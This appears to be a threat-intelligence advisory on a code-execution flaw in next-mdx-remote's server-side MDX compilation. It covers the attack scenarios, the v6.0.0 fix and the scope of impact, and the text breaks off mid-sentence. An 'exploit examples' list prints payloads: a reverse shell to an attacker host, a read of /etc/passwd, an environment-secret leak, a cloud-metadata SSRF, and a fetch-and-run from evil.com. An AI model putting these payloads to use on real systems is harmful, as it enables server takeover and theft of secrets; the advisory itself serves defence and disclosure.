next-mdx-remote High-Severity RCE: Server-Side MDX Compilation Attack — 2.5M+ Weekly Downloads, HashiCorp Next.js Supply Chain Risk — Threadlinqs Intelligence
As of 2026-05-30, next-mdx-remote High-Severity RCE: Server-Side MDX Compilation Attack — 2.5M+ Weekly Downloads, HashiCorp Next.js Supply Chain Risk is a high-severity vulnerability threat attributed to a N/A-nexus actor, tracked by Threadlinqs Intelligence with 12 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 30 indicators of compromise.
Threat ID: TL-2026-0078 · Severity: HIGH · Status: PATCHED · Category: VULNERABILITY
Attribution: N/A · UNKNOWN
A high-severity Remote Code Execution (RCE) vulnerability exists in HashiCorp's next-mdx-remote, a popular npm package (2.5M+ weekly downloads) used by Next.js applications to load and render MDX
SERVER-SIDE MDX COMPILATION AS AN RCE VECTOR
Next-mdx-remote is a widely-used utility for loading MDX content from external sources (databases, CMSes, APIs, git repositories) in Next.js applications. MDX extends Markdown with JSX component support and embedded JavaScript expressions. The serialize() function compiles MDX to JavaScript on the server — this is the vulnerability.
THE VULNERABILITY:
MDX is not just Markdown — it supports:
1. JavaScript expressions: {variable}, {func()}, {process.env.SECRET}
2. JSX components: <Component />, <Script />
3. Import/export statements: import fs from 'fs'
4. Any valid JavaScript within curly braces
The serialize() function in next-mdx-remote compiles MDX source into JavaScript and evaluates it server-side (in getStaticProps, getServerSideProps, or API routes). Before v6.0.0, there was NO mechanism to block JavaScript execution during compilation. Any JavaScript in the MDX source would be compiled and executed with the full privileges of the Node.js server process.
ATTACK SCENARIOS:
1. CMS-SOURCED CONTENT: A Next.js blog or documentation site pulls MDX from a headless CMS (Contentful, Sanity, Strapi). If an attacker compromises the CMS or a content author account, they can inject JavaScript into MDX that executes on the Next.js server during build or request time.
2. USER-GENERATED CONTENT: Applications allowing users to write in MDX (documentation platforms, knowledge bases, collaborative editing tools) pass user input directly to serialize(). Malicious users embed JavaScript that executes server-side.
3. DATABASE-SOURCED CONTENT: MDX stored in databases (MongoDB, PostgreSQL) is fetched and compiled. SQL injection or NoSQL injection that modifies MDX content leads to server-side code execution.
4. GIT-BASED CONTENT: Documentation sites pulling MDX from git repositories (common in developer documentation). A malicious PR or compromised contributor injects JavaScript into .mdx files that executes during build.
EXPLOIT EXAMPLES (pre-v6.0.0):
- Environment variable exfiltration: {process.env.DATABASE_URL}
- File system read: {require('fs').readFileSync('/etc/passwd', 'utf8')}
- Reverse shell: {require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1')}
- Server-side request forgery: {fetch('http://169.254.169.254/latest/meta-data/')}
- Crypto mining: {require('child_process').spawn('curl', ['-s', 'http://evil.com/miner.sh', '|', 'bash'])}
THE FIX (v6.0.0):
HashiCorp introduced two new parameters to serialize():
1. blockJS (default: true) — Removes all JavaScript expressions from MDX during compilation. When true, expressions like {variable} and {func()} are stripped. This is the nuclear option — safe but removes dynamic MDX functionality.
2. blockDangerousJS (default: true) — When blockJS is false (JS allowed), provides best-effort blocking of dangerous JavaScript: prevents access to eval(), Function(), process, require(), import(), and other dangerous globals. This allows safe expressions like {variable} while blocking code execution.
Both default to true in v6.0.0, making the secure configuration the default. Applications upgrading from v4.x/v5.x that rely on JavaScript expressions in MDX will need to explicitly set blockJS: false and rely on blockDangerousJS for protection.
IMPACT SCOPE:
Next-mdx-remote has approximately 2.5 million weekly downloads on npm. It is used extensively in:
- Developer documentation sites (HashiCorp's own docs, Vercel examples)
- Blog platforms built on Next.js
- Knowledge base and wiki applications
- Content-heavy Next.js applications with external content sources
- JAMstack sites pulling content from headless CMSes
The vulnerability is NOT exploitable when:
- MDX content comes only from trusted, developer-controlled sources (local files committed to the repo)
- MDX content is pre-compiled at build time with no user input
- The application uses only Markdown (no JSX/JS expressions)
The vulnerability IS exploitable when:
- MDX c
Weaknesses (CWE)
CWE-94, CWE-95, CWE-502, CWE-20
Target sectors: Technology, Software Development, Media, Education
Target regions: Global
Detections & IOCs
As of 2026-07-28, this threat has 12 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 30 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, HIGH, threat intelligence, cybersecurity, T1195, T1190, T1059, T1203, T1505, T1505, T1068, T1027, T1552, T1552